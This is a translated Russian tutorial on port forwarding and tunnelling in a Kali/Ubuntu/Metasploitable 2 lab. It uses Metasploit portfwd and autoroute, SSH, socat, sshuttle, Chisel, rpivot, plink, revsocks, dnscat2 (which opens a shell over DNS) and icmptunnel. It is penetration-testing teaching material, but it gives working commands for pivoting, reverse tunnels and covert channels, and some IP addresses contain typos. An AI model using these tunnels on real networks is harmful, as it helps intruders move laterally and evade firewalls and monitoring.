June 30, 2021

Руководство по пробросу портов

В этой статье пойдет речь о концепции и методах перенаправления портов. Читатели смогут глубже изучить принцип осуществления данной практики.

При пробросе портов коммуникационный запрос отправляется с одного адреса и номера порта. Параллельно с этим происходит отправка пакетов по сети. Туннелирование дает возможность организации создать свою виртуальную частную сеть, используя общедоступное соединение. Это выгодно как самой компании, так и интернет-провайдеру.

Виртуальный хост Apache

Виртуальный веб-хостинг – это концепция, с которой читатели, возможно, уже сталкивались в различных статьях по захвату флагов. В последнее время данный метод также используется профессионалами в корпоративной среде для размещения своих общедоступных служб для использования меньшего количества IP-адресов.

Виртуальный веб-хостинг – это метод запуска нескольких веб-серверов на одном хосте. С помощью данной практики на одном компьютере могут размещаться тысячи веб-сайтов. Веб-серверы Apache стали одним из самых популярных методов веб-обслуживания, поскольку они простые и гибкие в работе.

Apache имеет огромный потенциал: его можно без проблем настроить как виртуальный хост, который дает возможность размещения на нем отдельных веб-сайтов. Это, по сути, позволяет сетевым администраторам использовать один сервер для размещения различных доменов или сайтов. Все будет идти гладко до тех пор, пока сервер не сможет выдержать нагрузку нескольких других размещенных на нем серверов.

Настройки лаборатории

Среди необходимых компонентов для лаборатории есть:

  • VMware Workstation
  • Ubuntu
  • Kali Linux

Пользователь начнет с настройки сервисов Apache2. Для этого ему нужно будет установить Apache в его системах Linux. Он может сделать это с помощью следующей команды:

apt install apache2

Затем пользователю нужно создать каталог для веб-сайтов, которые он желает разместить там.

mkdir /sbin/test

Пользователь переходит по пути: «/etc/apache2», редактирует файл «ports.conf» и добавляет «Listen 127.0.0.1:8080» перед «Listen 80», как показано на рисунке ниже.

cd /etc/apache2
nano ports.conf
cat ports.conf

Теперь человек создает файл «test.conf» и добавляет следующий код в файл «/etc/apache2/sites-available/»:

nano /etc/apache2/sites-available/test.conf
<VirtualHost 127.0.0.1:8080>
  DocumentRoot /sbin/test/
  ServerName  localhost
  AllowEncodedSlashes NoDecode
  <Directory "/sbin/test/">
    Require all granted
    AllowOverride All
    Options FollowSymLinks MultiViews
  </Directory>
</VirtualHost>

Пользователь использует инструмент a2ensite, чтобы добавить свой веб-сайт, а затем перезапускает Apache2.

a2ensite test.conf
systemctl restart apache2

На данном этапе человек закончил настройку своей лаборатории, создав виртуальный хост.

Перенаправление портов

Перенаправление портов – это установление безопасного соединения между удаленным пользователем и локальными машинами. В организациях необходимо использовать свои исходные и целевые номера портов, чтобы осуществить туннелирование на Linux. Наряду с этим, следует добавить пункт назначения, который может быть IP-адресом или именем хоста.

Пользователь включает компьютер на ОС Kali Linux и проверит, размещена ли веб-страница. На картинке видно, что она недоступна. Итак, стоит понять, каким образом локальный адрес и порт могут быть перенаправлены на удаленный хост. Это может быть достигнуто с помощью различных методов, поэтому в этой статье необходимо рассмотреть их один за другим.

Перенаправление портов с помощью Metasploit

Запускается SSH-сессия с помощью Metasploit. Пользователь получает сеанс Meterpreter, а затем, используя команду «netstat», видит, что порт номер 8080 запущен на локальном хосте.

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.108
set username raj
set password 123
exploit
sessions -u 1
sessions 2
netstat -antp

Далее пользователь использует команду «portfwd» для пересылки всего трафика на машину Kali, где он указывает локальный и удаленный порт и локальный адрес.

portfwd add -l 8081 -p 8080 -r 127.0.0.1

Когда человек открывает эту страницу в веб-браузере с помощью ввода в адресную строку «127.0.0.1:8081», он видит, что теперь ее содержимое отображается без каких-либо проблем.

Перенаправление локальных портов SSH

Это метод, используемый в SSH для проброса портов приложения с клиентской машины на сервер. Применяя его, SSH-клиент прослушивает соединения на настроенном порту и отправляется на SSH-сервер при установлении соединения. Именно таким образом сам сервер подключается к целевому порту, который настроен и активен на машине, не имеющей SSH-сервера.

Эта команда устанавливает соединение с машиной с IP-адресом 192.168.1.108. Она также перенаправляет любое соединение порта номер 8080 на локальной машине на порт номер 8081.

ssh -L 8081:localhost:8080 -N -f -l raj 192.168.1.108

Пользователь видит, что содержимое веб-страницы отображается корректно, когда он загружает эту страницу в веб-браузере с помощью ввода в адресную строку «127.0.0.1:8081» на машине Kali.

Перенаправление портов с помощью Socat

Socat – это утилита командной строки в Linux, которая используется для передачи данных между двумя хостами. В данном случае пользователь использует ее для перенаправления портов, где все TCP-соединения с адресом 127.0.0.1:8080 будут перенаправлены на порт номер 1234.

socat TCP-LISTEN:1234,fork,reuseaddr tcp:127.0.0.1:8080 &

Когда пользователь открывает эту страницу в веб-браузере с помощью ввода в адресной строке «192.168.1.108:1234» в машине Kali, он видит, что содержимое веб-страницы отображается корректно.

Туннелирование

Туннелирование – это процесс получения удаленного доступа к ресурсам с использованием общедоступной сети. Туннели, которые создаются между машинами, являются точечными. Удаленные пользователи могут быть связаны с другим концом туннелей. Задача туннельных протоколов состоит в том, чтобы инкапсулировать трафик от пользователя, находящегося удаленно. Трафик отправляется на другой конец общедоступной сети, затем декапсулируется и пересылается нужному пользователю. Туннель по умолчанию не зашифрован, его уровень безопасности определяется с помощью выбранного протокола TCP/IP.

Стоит разобраться, как человек может осуществить туннелирование с помощью различных методов и инструментов.

Настройки лаборатории

  • Kali Linux с IP-адресом 192.168.1.2
  • Ubuntu с 2 NIC, состоящими из двух IP-адресов: 192.68.1.108 и 192.168.226.128
  • Metasploitable 2 с IP-адресом 192.168.226.129

Sshuttle

Sshuttle упрощает установление VPN-соединения между локальной машиной и удаленной Kali Linux с помощью SSH. Для его правильного функционирования необходимо иметь доступ c правами Root на локальной машине, при этом удаленная Kali Linux может иметь любой тип учетной записи. Sshuttle может быть запущен несколько раз одновременно на определенной клиентской машине.

Необходимо понять, как пользователь может применить Sshuttle, чтобы получить доступ к Metasploitable 2, которая имеет другую подсеть. Он будет использовать машину Ubuntu, которая имеет два интернет-адреса с разными подсетями. В ней также доступна подсеть, где есть Kali Linux.

Пользователь проверяет IP-адреса машины Kali Linux.

При проверке IP-адреса машины Ubuntu пользователь видит, что у нее есть два IP-адреса с разными подсетями.

Теперь нужно установить инструмент Sshuttle на машину Kali Linux:

apt install sshuttle

С помощью Sshuttle создается удаленное соединение с Ubuntu ([email protected]), а затем – и с адресом Metasploitable 2 (192.168.226.129). Пользователь также вводит пароль для доступа к Ubuntu, и, следовательно, он будет подключен к системе.

sshuttle -r [email protected] 192.168.226.129

Впоследствии, когда человек откроет IP-адрес Metasploitable 2 в браузере его Kali Linux, он сможет получить доступ к ней через порт номер 80.

Подводя итог, с помощью Sshuttle пользователь установил соединение Kali Linux с Ubuntu. После этого было также создано соединение между Kali Linux и Metasploitable 2.

Chisel

Это туннель TCP/UDP, который помогает при передаче трафика. Он защищен с помощью SSH. Chisel доступен как для клиента, так и для Kali Linux. Он обычно используется при прохождении через межсетевые экраны, но также может быть применен для обеспечения безопасного подключения к своей сети. Стоит понять, как это работает.

Во-первых, нужно установить Chisel и Go на машины Kali Linux.

Примечание: Go – это язык программирования, на котором был написан Chisel, поэтому для правильного функционирования инструмента он очень важен.

git clone https://github.com/jpillora/chisel.git
apt install golang

Теперь, когда у пользователя есть копия исходного кода Chisel, он может приступить к созданию двоичных файлов для Linux и, следовательно, скомпилировать пакеты Chisel с помощью Go Build.

go build -ldflags="-s -w"

Инструмент может прослушивать порт номер 8000 в Kali Linux и позволяет клиентам осуществлять обратную переадресацию портов. В данном случае было активировано обратное туннелирование.

./chisel server -p 8000 --reverse

Установка Chisel на Ubuntu

Пользователь устанавливает Go и Chisel на Ubuntu, чтобы собрать данные в пакеты:

git clone https://github.com/jpillora/chisel.git
apt install golang
cd chisel/
go build -ldflags="-s -w"

После этого следует запустить Chisel на Ubuntu, чтобы соединить Kali Linux и Metasploitable 2 между собой.

./chisel client 192.168.1.2:8000 R:5000:192.168.226.129:80

Человек открывает веб-браузер на компьютере с Kali Linux, чтобы проверить соединение между Kali Linux и Metasploitable 2, которое создается на локальном адресе и порту номер 5000.

http://127.0.0.1:5000

Chisel с использованием прокси-сервера Socks5

Пользователь может следовать первоначальным шагам настройки в Ubuntu и Kali Linux, как было показано на рисунке выше.

Инструмент может прослушивать порт номер 8000 в Kali Linux и позволяет клиентам осуществлять обратную переадресацию портов. В данном случае было активировано обратное туннелирование.

./chisel server -p 8000 --reverse

В машине Ubuntu следующим шагом является подключение к клиенту с помощью новой опции Reverse Socks.

./chisel client 192.168.1.2:8000 R:socks

Теперь пользователь подключает Ubuntu к Metasploitable 2.

./chisel client 192.168.1.2:8000 R:8001:192.168.226.129:9001

В Kali Linux человек указывает на его клиент Socks5, которым является Metasploitable 2.

./chisel server -p 9001 --socks5

Теперь пользователь открывает веб-браузер в Kali Linux и переходит к настройке параметров прокси-сервера. Здесь он вручную настраивает прокси-сервер, указывая адрес хоста SOCKS в качестве локального адреса, т.е. 127.0.0.1. Он также выбирает прокси-сервер Socks5 на порту номер 1080. Кроме того, следует указать локальный адрес в поле «No proxy for».

Когда человек открывает веб-браузер на компьютере Kali Linux и вводит IP-адрес Metasploitable 2, он видит, что Kali Linux подключен к Metasploitable 2.

Rpivot с использованием прокси-серверов Socks4

RPIVOT обеспечивает передачу трафика по туннелю во внутреннюю сеть с помощью прокси-сервера Socks4. Его работа похожа на динамическую переадресацию портов SSH, но в противоположном направлении. Он также имеет архитектуру клиент-сервер. Когда клиент запускается на машине, он будет туннелировать трафик. Для этого Kali Linux должна быть включена, чтобы машина могла прослушивать соединение от клиента.

Пользователь устанавливает RPIVOT на машину Kali Linux. Затем он переходит в его каталог и запускает листенер на порту номер 9999. Это создает прокси-сервер Socks4 на 127.0.0.1 на порту при соединении с клиентом.

git clone https://github.com/klsecservices/rpivot.git
python server.py --server-port 9999 --server-ip 192.168.1.2 --proxy-ip 127.0.0.1 --proxy-port 1080

Теперь человек установит RPIVOT на машину с Ubuntu и подключит его к Kali Linux.

git clone https://github.com/klsecservices/rpivot.git
python client.py --server-ip 192.168.1.2 --server-port 9999

Пользователь открывает веб-браузер на своем компьютере Kali Linux и вручную настраивает прокси-сервер. Он устанавливает Socks адрес хоста как локальный и выбирает порт номер 1080. Кроме того, следует выбрать Socks4 и указать локальный адрес в поле «No proxy for».

Когда человек открывает веб-браузер на компьютере Kali Linux и вводит IP-адрес Metasploitable 2, он видит, что Kali Linux подключен к Metasploitable 2.

Динамическое SSH-туннелирование

Динамическое SSH-туннелирование обеспечивает соединение с диапазоном портов, заставляя SSH работать как SOCKS-прокси Kali Linux. Прокси-сервер SOCKS – это SSH-туннель, в котором приложения отправляют свой трафик. Его необходимо настроить для каждого клиента. Динамическое туннелирование может принимать соединения от нескольких портов одновременно.

В машине Kali Linux пользователь вводит команду для подключения к Ubuntu с помощью динамического SSH-туннелирования:

ssh -D 7000 [email protected]

Как только соединение между Kali Linux и Ubuntu будет установлено, следует открыть браузер на машине Kali и настроить прокси вручную. Пользователь указывает локальный адрес в качестве хоста Socks и выбирает номер порта – 7000. Кроме того, следует выбрать Socks5 и указать локальный адрес в поле «No proxy for».

Следовательно, когда пользователь откроет IP Metasploitable 2 в браузере Kali Linux, он увидит соединение с Metasploitable 2 с помощью динамического туннелирования.

Локальное SSH-туннелирование

В данном случае все соединения, которые будут установлены с Metasploitable 2 с помощью Ubuntu с локальным назначением, указывают на локальный порт.

В машине Kali Linux нужно добавить «localhost», а затем ввести имя пользователя и пароль Metasploitable 2 для осуществления локального туннелирования SSH.

ssh -L 7000:192.168.22.129:80 [email protected]

Пользователь может открыть браузер Kali Linux и указать локальный адрес вместе с портом номер 7000, на который был передан весь трафик.

Локальное SSH-туннелирование с использованием Plink.exe

Пользователь использует командную строку в машине Windows для осуществления туннелирования. Применяется инструмент командной строки для Putty, который имеет название plink.exe.

plink.exe -L 7000:192.168.226.129:80 [email protected]

Теперь человек откроет веб-браузер в Windows и введет локальный адрес и порт номер 7000, на который был перенаправлен трафик Metasploitable 2. Он увидит, что было осуществлено локальное SSH-туннелирование между Metasploitable 2 и Kali Linux с использованием plink.exe.

Динамическое SSH-туннелирование с использованием Plink.exe

Plink.exe – это инструмент командной строки Windows для Putty в машине Windows. Пользователь будет использовать его для динамического туннелирования, чтобы машина смогла принимать соединения с нескольких портов.

В Kali Linux следует ввести данную команду для подключения к Ubuntu с помощью динамического SSH-туннелирования:

plink.exe -D 8000 [email protected]

Как только соединение между Kali Linux и Ubuntu будет установлено, нужно открыть браузер на машине Kali и настроить прокси. Пользователь выбирает ручную настройку прокси-сервера и указывает локальный адрес в качестве хоста socks, а номером порта будет 8000. Кроме того, следует выбрать Socks5 и указать локальный адрес в поле «No proxy for».

Следовательно, когда пользователь откроет IP-адрес Metasploitable 2 в браузере Kali Linux, он увидит соединение с Metasploitable 2 с помощью динамического SSH-туннелирования и plink.exe.

Туннелирование с использованием Revsocks

Revsocks расшифровывается как Reverse socks5. Пользователь может скачать его здесь для операционной системы Windows. После он попытается подключиться к Ubuntu с помощью socks5.

revsocks_windows_amd64.exe -listen :8443 -socks 0.0.0.0:1080 -pass test

Человек откроет Ubuntu и скачает Revsocks для Linux. Здесь он соединяет Ubuntu с Metasploitable 2, а затем переходит к настройкам прокси-сервера.

./revsocks_linux_amd64 -connect 192.168.1.3:8443 -pass test

Теперь на компьютере с Windows человек откроет также браузер и настройки прокси-сервера. Он выберет ручную настройку конфигурации прокси-сервера и укажет локальный адрес в узле socks, а также номер порта – 1080. Кроме того, следует выбрать Socks5 и указать локальный адрес в поле «No proxy for».

Когда пользователь откроет веб-браузер на машине Windows и введет IP-адрес Metasploitable 2, он будет соединен с Metasploitable 2 с помощью Revsocks.

Туннелирование с помощью Metasploit (SOCKS 5 и 4a)

Пользователь начнет с установки Metasploit на машину Kali. Затем устанавливается соединение с Ubuntu с помощью вспомогательного модуля и SSH. Как только соединение установлено, будет создан сеанс Meterpreter. Затем человек использует модуль autoroute. Он поможет создать дополнительный маршрут через Meterpreter, который позволит ему глубже погрузиться в сеть. Именно теперь человек может подключиться к Metasploitable 2. Далее он будет использовать вспомогательный модуль для socks5. Следует указать адрес «localhost». После этого вспомогательный модуль начнет свою работу.

use post/multi/manage/autoroute
use auxiliary/server/socks5
set srvhost 127.0.0.1
exploit

Теперь человек откроет браузер на компьютере Kali Linux и перейдет в настройки прокси-сервера. Здесь он выберет ручную настройку конфигурации прокси-сервера и укажет локальный адрес в узле socks, а также номер порта – 1080. Кроме того, следует выбрать Socks5 и указать локальный адрес в поле «No proxy for».

Когда человек откроет веб-браузер в Kali Linux и введет IP-адрес Metasploitable 2, он будет соединен с ним с помощью Metasploit.

SOCKS 4a

Пользователь начнет с установки Metasploit на машине Kali. Затем устанавливается соединение с Ubuntu с помощью вспомогательного модуля и SSH. Как только соединение установлено, будет создан сеанс Meterpreter. Затем человек использует модуль autoroute. Он поможет создать дополнительный маршрут через Meterpreter, который позволит ему глубже погрузиться в сеть. Именно теперь человек может подключиться к Metasploitable 2. Далее он будет использовать вспомогательный модуль для socks 4a. Следует указать адрес «localhost». После этого вспомогательный модуль начнет свою работу.

use post/multi/manage/autoroute
use auxiliary/server/socks4a
set srvhost 127.0.0.1
exploit

Теперь человек откроет браузер на компьютере Kali Linux и перейдет в настройки прокси-сервера. Здесь он выберет ручную настройку конфигурации прокси-сервера и укажет локальный адрес в узле socks, а также номер порта – 1080. Кроме того, следует выбрать Socks 4a и указать локальный адрес в поле «No proxy for».

Когда человек откроет веб-браузер в Kali Linux и введет IP-адрес Metasploitable 2, он будет соединен с ним с помощью Metasploit.

Туннелирование с помощью DNScat2

DNScat2 – это инструмент, который можно использовать для создания туннеля с помощью протокола DNS. Для доступа к любым данным необходимо установить соединение с портом номер 53. DNScat2 в основном состоит из клиента и Kali Linux. В данном сценарии нужно установить соединение между Metasploitable 2 и Kali Linux, используя Ubuntu в качестве посредника.

Пользователь устанавливает DNScat2 на машину Kali Linux с помощью команды «apt install», которая способна автоматически загружать зависимые компоненты.

Туннелирование DNScat2 на порту номер 22

apt install dnscat2

Как только это будет сделано, сервер dnscat2 начнет свою работу.

В машине Ubuntu пользователь установит dnscat2 с помощью git clone. Здесь ему придется установить зависимости вручную, чтобы запустить работу инструмента.

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/
cd client/
make

Теперь пользователь установит соединение между Kali Linux и Ubuntu.

./dnscat --dns=server=192.168.1.2,port=53

Как только соединение будет успешно установлено, в Kali Linux будет создан сеанс. Необходимо проверить доступные сеансы и взаимодействовать с ними, а затем отправить запрос на создание Shell. Как только запрос будет принят, откроется новое окно и запустится сеанс номер 2.

session
session -i 1
shell

Используя второй сеанс, пользователь теперь имеет доступ к машине Ubuntu. Итак, нужно проверить IP-адрес клиента одной машины. Здесь пользователь видит, что в Ubuntu установлены две сетевые карты.

session -i 2
ifconfig

Теперь пользователь подключает Metasploitable 2 на порту номер 22 к порту номер 8888, чтобы создать DNS-туннель между ними с помощью Shell.

listen 127.0.0.1:8888 192.168.226.129:22

Человек открывает новую вкладку в машине Kali Linux и входит в систему Metasploitable 2, введя его учетные данные. Теперь он сможет «общаться» с Metasploitable 2 с помощью Kali Linux.

ssh [email protected] -p 8888

Туннелирование DNScat2 на порту номер 80

Пользователь может сделать то же самое, используя порт 80.

listen 127.0.0.1:9999 192.168.226.129:80

Когда он откроет веб-браузер на машине Kali Linux и введет URL-адрес машины Metasploitable 2, он увидит, что соединение было успешно установлено между Kali Linux и Metasploitable 2 с помощью Ubuntu.

То же самое можно сделать и в системе Windows, Перейдя по этой ссылке, читатели смогут скачать подходящий клиент dnscat2 для их системы Windows.

Туннелирование ICMP

Основная цель ICMP-туннеля – установить TCP-соединение, где SSH-сеанс будет использоваться в инкапсулированной форме ICMP-пакетов. Сначала нужно настроить сам ICMP-туннель на машине Ubuntu.

Пользователь скачает, установит «icmptunnel» на стороне сервера и скомпилирует файл, распаковав его компоненты.

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

Затем он отключит «ICMP echo reply» как на Ubuntu, так и на Kali Linux.

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel -s
Ctrl+z
bg

Теперь следует создать ICMP-туннель в Ubuntu в режиме сервера и назначить ему новый IP-адрес для осуществления туннелирования.

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
ifconfig

Пользователь настраивает ICMP-туннель на стороне клиента, то есть в Kali Linux, как он это сделал ранее в Ubuntu.

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.108
Ctrl+z
bg
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
ifconfig

Как только другой IP-адрес для туннелирования будет создан на машине Kali, следует подключиться по SSH с учетными данными сервера с IP-адресом 10.0.0.1.

ssh [email protected]

Когда пользователь открывает Wireshark и захватывает пакеты, он видит только то, что все пакеты SSH транспортируются по протоколу ICMP.

Автор переведенной статьиJeenali Kothari.